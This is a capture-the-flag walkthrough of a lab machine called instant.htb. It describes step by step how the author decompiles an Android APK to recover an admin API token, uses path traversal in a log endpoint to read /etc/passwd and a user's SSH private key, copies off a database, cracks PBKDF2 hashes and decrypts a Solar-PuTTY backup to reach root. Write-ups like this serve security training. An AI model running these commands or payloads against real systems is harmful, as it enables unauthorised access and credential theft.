Enumeration

As usual, we start off with an nmap scan to get a listing of open ports and running services:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_  256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open  http    Apache httpd 2.4.58
| http-methods:
|_  Supported Methods: POST
|_http-title: Did not follow redirect to http://instant.htb/
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

We see a typical Linux web server setup consisting of port 22 for remote administration via SSH and port 80 for the web server port.

Going to the address gives us an immediate redirect to instant.htb so we must add it to our hosts file.

One of the first things we can find while exploring the site is a link to /downloads/instant.apk. We can download this locally and try to disassemble it. It’s an Android application, so if it has been developed improperly, there’s possibly things like API keys or secrets that we can collect and use.

We should also kick off some fuzzing with:

ffuf -w /opt/SecLists/Discovery/DNS/dns-Jhaddix.txt:FUZZ -u http://instant.htb/ -H 'Host: FUZZ.instant.htb' -t 120 -fw 20

Breaking the APK

APKs are basically the file formats for distributing Android applications. They’re now typically written in Kotlin or Java. Decompiling an APK is pretty simple using jadx-gui. This can be installed on a Kali system for example, using:

sudo apt install jadx -y

And then fire up the tool using jadx-gui from the command line. Usage is self explanatory in the UI, so open the instant.apk file to disassemble it and begin poking around the files. One that should stand out to you is AdminActivities. I don’t know much about Android development, I barely touched it during my years of being a software developer, but I think Activities are like screens or features in an application. It’s also got Admin in the title so my hacker brain got all ticklish.

Inside this activity, we can see that it’s building an HTTP request to talk to an API running back on the host at mywalletv1.instant.htb. It includes the authorization header as well so we should be able to go directly to this endpoint and see what we can do with the API. We want to try and access http://mywalletv1.instant.htb/api/v1/view/profile for example. This is easy enough to do with in curl:

curl http://mywalletv1.instant.htb/api/v1/view/profile -H 'Authorization: <redacted>'

To which we get the response:

{"Profile":{"account_status":"active","email":"[email protected]","invite_token":"instant_admin_inv","role":"Admin","username":"instantAdmin","wallet_balance":"10000000","wallet_id":"f0eca6e5-783a-471d-9d8f-0162cbc900db"},"Status":200}

One of the things that we will find while fuzzing for subdomains will be swagger-ui.instant.htb. If we visit this page, we can see all the API endpoints that are supported that we can potentially use this token on. One of the endpoints we have available to us can read log files. We can use this endpoint to get a local file disclosure:

curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=../../../../../etc/passwd" -H "accept: application/json" -H 'Authorization: <redacted>'

And we can see the /etc/passwd file returned to us:

{"/home/shirohige/logs/../../../../../etc/passwd":["root:x:0:0:root:/root:/bin/bash\n","daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n","bin:x:2:2:bin:/bin:/usr/sbin/nologin\n","sys:x:3:3:sys:/dev:/usr/sbin/nologin\n","sync:x:4:65534:sync:/bin:/bin/sync\n","games:x:5:60:games:/usr/games:/usr/sbin/nologin\n","man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\n","lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\n","mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\n","news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\n","uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\n","proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\n","www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\n","backup:x:34:34:backup:/var/backups:/usr/sbin/nologin\n","list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\n","irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n","_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\n","nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n","systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin\n","systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin\n","dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false\n","messagebus:x:101:102::/nonexistent:/usr/sbin/nologin\n","systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin\n","pollinate:x:102:1::/var/cache/pollinate:/bin/false\n","polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin\n","usbmux:x:103:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin\n","sshd:x:104:65534::/run/sshd:/usr/sbin/nologin\n","shirohige:x:1001:1002:White Beard:/home/shirohige:/bin/bash\n","_laurel:x:999:990::/var/log/laurel:/bin/false\n"],"Status":201}

With the ability to see the user shirohige on the host, we can assume they might have an SSH key and try to use the local file disclosure vulnerability to steal it:

curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=../../../../../home/shirohige/.ssh/id_rsa" -H "accept: application/json" -H 'Authorization: <redacted>'

We are successful! We can now write this to an id_rsa file, chmod 600 id_rsa and then ssh -i id_rsa shirohige@$target to get onto the machine.

Privilege Escalation

In the shirohige user’s home directory we can find files for the python application serving the main API. Included in this project is instant.db, a sqlite database file. We can find this using:

find ~ -type f -name "instant.db" 2>/dev/null

In it’s directory, we can stage a web server so we can copy it back to our host:

python3 -m http.server 9091

Then on our attack machine, we can:

wget http://$target:9091/instant.db

I used dbeaver-ce to open the sqlite database and view the data within. There is a wallet_users table which contains passwords for 2 users. The admin and shirohige. The format of the hashes are pbkdf2 but the format is not going to be interpreted by something like john. For john the start must be $pbkdf2-sha256$. Note the $ are delimiters for sections of the hash. The first part specifies the type of hash. We know it’s SHA256 because we have the source code and the original hash specified this. The second portion is 60000, this is just the number of iterations in the hashing process. 60000 is a lot. It will take a while to crack these hashes. Note also that the last part of the hash looks like hex, rather than base64. The format taken in by john requires both parts to be base64 encoded, so we must modify the last section like:

echo '<section>' | xxd -r -p | base64 -w 0 | sed 's/+/./g;s/=//g'

We take the result and replace the original hex in the hash. As long as everything is set up right and you have 4 sections, each starting with a $ character, no spaces, base64 rather than hex, hashcat should accept the hashes for cracking. The sed at the end just ensures that + become . and = are removed. This is just a part of the formatting requirements of hashcat for this particular hash type. I had massive problems using this method though! Even though I think it should work, both hashcat and john would die lag out my machine on this particular hash. I resorted to using the tool here to decrypt the hash for the shirohige user: https://github.com/Mrterrestrial/WerkzeugHashCracker.git

Having this password doesn’t seem to get us anything because it’s not the shirohige user’s local password, just the password for their wallet. Looking around the machine reveals /opt/backups/Solar-PuTTY folder. It has a file called sessions-backup.dat. Googling on this reveals there is a way to get passwords from this file. We just need to clone this repository and run it using the password we just obtained: https://github.com/VoidSec/SolarPuttyDecrypt

In the output we get the password for the root user. We can su root with this password and successfully root the machine!